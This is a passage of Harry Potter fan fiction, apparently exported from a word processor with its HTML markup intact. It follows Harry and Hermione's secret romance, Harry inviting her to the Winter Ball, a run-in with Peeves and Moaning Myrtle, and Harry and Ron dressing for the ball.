style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Jeez\nHerm, if you wanted to on top, all you had to do was ask?&#8221; Harry said with an\namused smirk.&nbsp; His girlfriend blushed, and she flung snow into his face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nit!&#8221; Harry rolled her over and trapped her against the ground.&nbsp; His arms wrapped\naround her and pinned her arms to her sides.&nbsp; Hermione giggled softly, and\nHarry gazed down at her with a loving expression.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">He\nleaned down towards her, and Hermione closed her eyes as their lips met.&nbsp;\nHarry released her arms to cup her face in his hands, and she clutched his\nrobes tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hey,\nyou two, cut it out before you melt the snow!&#8221; a familiar voice laughed.&nbsp;\nHarry turned his head to see Ron standing behind them.&nbsp; He flushed\nslightly and scrambled to his feet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks\nHarry,&#8221; Hermione said as he helped her to her feet.&nbsp; She brushed off the\nback of her robes and shook the snow out of her hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Haven&#8217;t\nyou ever heard of privacy, Ron?&#8221; she asked with a stern look.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well\nHerm, I figured that you&#8217;d rather have it be me who finds you two making out\nthan someone else, especially Malfoy.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;He\ndoes have a point,&#8221; Harry conceded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Nah,\nhe&#8217;s just jealous cause he doesn&#8217;t have a date for the Winter Ball on Friday!&#8221;\nHermione fired back.&nbsp; This time, it was Ron whose face flushed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8230;that&#8217;s\nnot true!&nbsp; I&#8217;m just&#8230;deciding on who to ask that&#8217;s all!&#8221; Harry decided to\nsave his best friend from further embarrassment and took Hermione&#8217;s hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;C&#8217;mon,\nlet&#8217;s go dry off.&nbsp; Besides, we&#8217;re supposed to go to Hogsmeade this\nafternoon.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\nright, Harry, let&#8217;s go,&#8221; Ron said enthusiastically.&nbsp; Harry waited a few\nminutes before turning towards Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nwrong?&#8221; she asked, noting his serious expression.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Try\nnot to bug Ron too much about his &#8216;girl&#8217; situation okay; it really embarrasses\nhim.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\ncome on, Harry, he&#8217;s just the same as you are around girls&#8230;&#8221; He looked at her\nwith an expression that said, &#8216;Then what are you?&#8217;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;&#8230;Well,\nI&#8217;m the exception; we&#8217;ve been friends for seven years.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yeah,\nbut I just wish that Ron could find someone who&#8217;s as wonderful as you are to\nme,&#8221; Harry said with a tender smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Why,\nMr. Potter, was that flattery I just heard?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Absolutely,\nMiss Granger.&#8221; She reached up and cupped his cheek in her hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hmm,\nthought so, now come here and kiss me.&#8221; Harry pulled her close and kissed her\nsoftly.&nbsp; It was sweet and gentle, not nearly as passionate as some of\ntheir others had been, but they weren&#8217;t trying to make it like that anyway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nalmost forgot!&#8221; he gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\nis it?&#8221; Harry picked up her hands and clutched them tightly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hermione,\nwill you go with me to the Winter Ball on Friday night?&#8221; She chewed her lip\nsoftly and pursed her lips.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Would\nit be like a date?&#8221; she asked with teasing smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Absolutely,&#8221;\nHarry countered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh,\nwell in that case, the answer is definitely yes.&#8221; She smiled at her boyfriend\nand brushed some loose snow out of his untamed hair.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well&#8230;shall\nwe go?&#8221; Harry released her reluctantly, but Hermione nodded and followed back\ntowards the castle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They\nboth tried to keep their relationship secret from the other students, and it\nhad worked very well for the several months that they&#8217;d been together.&nbsp;\nStill, Harry would&#8217;ve liked to keep his arm around her as they walked.&nbsp;\nInstead, he reached down and grasped her small hand in his.&nbsp; Hermione\nsmiled at his intimate gesture, and they walked hand-in-hand back inside\nHogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Upon\nreturning from Hogsmeade, Harry noticed Hermione carrying a zipped clothing bag\nover her right arm.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Herm,\nwhat is that?&#8221; She gave him a teasing grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;ll\njust have to wait and see!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nI at least get a hint?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;No,\nit wouldn&#8217;t be a surprise if I told you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nsmiled inwardly as he wondered just what kind of surprise Hermione could have\nfor him.&nbsp; He knew how smart she was, and he didn&#8217;t want to think about\nwhat type of devious thoughts could be churning inside her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;At\nleast tell me when I&#8217;ll know,&#8221; he pleaded with her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay,\nnext Friday night.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hmm,\nlet me guess, did you buy a special dress for the Winter Ball?&#8221; Harry asked\nwith a wide grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;That&#8217;s\nfor me to know, and you to find out!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nchuckled and untied his packages from the back of his Firebolt.&nbsp; He&#8217;d also\ngotten something for Hermione, but he was keeping his mouth shut.&nbsp; She&#8217;d\nnag him endlessly until he told her anyway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\ntwo separated at the Gryffindor common room and headed up to their separate\ndormitories.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nfollowing Friday, Harry was in the library trying to finish his homework.&nbsp;\nSnape had given them this massive assignment on werewolves, and each student\nwas supposed to come up with a potion that was supposed to counteract the bite\nof one.&nbsp; Naturally, Harry, Ron, and Hermione had put their heads together\nto try and figure out an answer, but Malfoy had turned them in at every\nopportunity, and Snape had threatened to give them a failing grade if they\nhelped one another in any way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nyawned and closed a thick manuscript entitled &#8216;Ancient Remedies for Any\nOccasion&#8217;.&nbsp; He took off his glasses and rubbed his eyes.&nbsp; A soft\nbeeping sound drew his attention, and he checked his watch.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;m\nlate!&#8221; he gasped.&nbsp; The Winter Ball was supposed to begin at seven, and it\nwas already five-thirty.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nhadn&#8217;t realized that he&#8217;d been here so long. &nbsp;He quickly piled up his\nstack of books and heaved them out the door along with his bag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwas just about to Fat Lady&#8217;s portrait when Peeves shot of the wall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry\nPotter!&#8221; he said with an evil smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Move\nit, Peeves, I haven&#8217;t got time for you today!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Such\nbad manners.&nbsp; You must be taught a lesson.&#8221; Peeves materialized a bucket\nof water out of thin air and held it over Harry&#8217;s head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Don&#8217;t\nyou dare!&#8221; Harry hissed.&nbsp; The poltergeist just laughed sadistically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Suddenly,\na familiar figure appeared out of the wall and pushed the bucket right onto\nPeeves head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Myrtle!&#8221;\nHarry said with a grateful smile.&nbsp; The young girl smiled in triumph, and\nPeeves flew off in the opposite direction, cursing under his breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks,\nMyrtle, I did not want to have to deal with that annoying ghost today.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Your\nwelcome, Harry Potter, we are even now.&nbsp; You helped to clean up my\nbathroom so now I help you in return.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ngave her a soft smile.&nbsp; He remembered that in every detail.&nbsp; Malfoy had\ngotten Ron and him detention again, and Harry had pleaded with Filch not to\nmake them see Moaning Myrtle.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Naturally,\nFilch wanted to torture them as much as possible so he&#8217;d ordered them to scrub\nher bathroom from toilet to mirror.&nbsp; It hadn&#8217;t really been that bad of job\nbecause Harry and Ron had gotten to see their old friend, and Myrtle was glad\nthat she had someone to talk to again.&nbsp; The only drawback was that she was\nvery picky; she ordered them around the whole night, telling them to do a job\nover and over again until it was done right.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nnext day Hermione had joked that the two of them could have passed for plumbers\nbecause their skin was still wrinkled from all the water, and they both smelled\nlike Lysol.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nneed to go now, Myrtle, but I&#8217;ll try to see again soon &#8216;kay?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay,\nbut just remember this time.&nbsp; Last time, you said the same thing, and you\ndidn&#8217;t come see me for months.&#8221; The shadowy little girl pursed her lips and\npouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nremember, and I&#8217;ll bring Ron and Hermione with me.&#8221; This time, Myrtle&#8217;s eyes\nlit up, and a small smile crossed her face.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Okay,\ngoodbye.&#8221; She floated back down the hallway and headed back for her bathroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nburst into his room to see Ron using his wand to tie his tie for him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwhere have you been?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sorry,\nI was in the library trying to finish Snape&#8217;s assignment.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\njust gave up on the stupid thing; it kept giving me a headache.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;So,\nwho are you going with?&#8221; Harry asked as he opened his dresser to find his\nclothes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nasked Lavender to go with me.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nreally, and you did ask Hermione what she&#8217;s like?&#8221; Harry laughed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nstop it, we&#8217;re going as friends that&#8217;s it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sure\nRon, I used to say the same thing about Hermione and I.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nwent a pair of khaki pants and a black turtleneck.&nbsp; He had on v-neck green\nsweater over his turtleneck and pulled on his dress robes to finish his outfit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron\nhad picked out a pair of black dress slacks, and a maroon, silk shirt.&nbsp; He\nalso bought a new set of dress robes for this year, instead of having to use\nthe lace-cut ones that his mother had given in so long ago.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\non, Ron, I think that Lavender would love to see you in those lacy robes.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Shut-up!&nbsp;\nI refuse to wear those ever again.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ntook off his glasses and took out a small container from a box on his\nnightstand.&nbsp; He opened to plastic compartments and drew out two, small,\nround, transparent contacts.&nbsp; Tilting his head back, Harry popped them\ninto his eyes and shifted them around until they were in place.&nbsp; Opening\nhis eyes, he made sure that he could see properly and straightened his hair out\nso that it looked at least somewhat normal.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A\nsoft noise at the window drew Harry&#8217;s attention.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hedwig!&#8221;\nHarry greeted his owl warmly, and she nipped at his fingers playfully.&nbsp; He\nuntied the note attached to her leg.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry,</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Wait\nfor me in the common room until after everybody leaves, I want to show you my\nsurprise alone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\ngrinned wryly and stroked Hedwig&#8217;s soft feathers.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks\ngirl, you can go back to owlery now.&#8221; The snowy white owl bobbed her head and\nflew back out into the night towards one of the other towers on the far side of\nHogwarts.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nthe note say?&#8221; Ron asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Oh\nnothing, just a little private joke,&#8221; Harry answered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nand Ron waited patiently in the common room.&nbsp; The first to come down was\nLavender.&nbsp; She had on a knee-length lavender dress to match her name, a\nslight amount of dark eye shadow, and a touch of pink lipstick.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi\nguys!&#8221; she greeted happily.&nbsp; Harry had to nudge Ron slightly to get his\nbrain working again, and the nervous, young man approached his date.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Hi\nLavender, you look very nice.&#8221; Unexpectedly, the young woman blushed slightly.</p>\n\n<p class="MsoNormal" 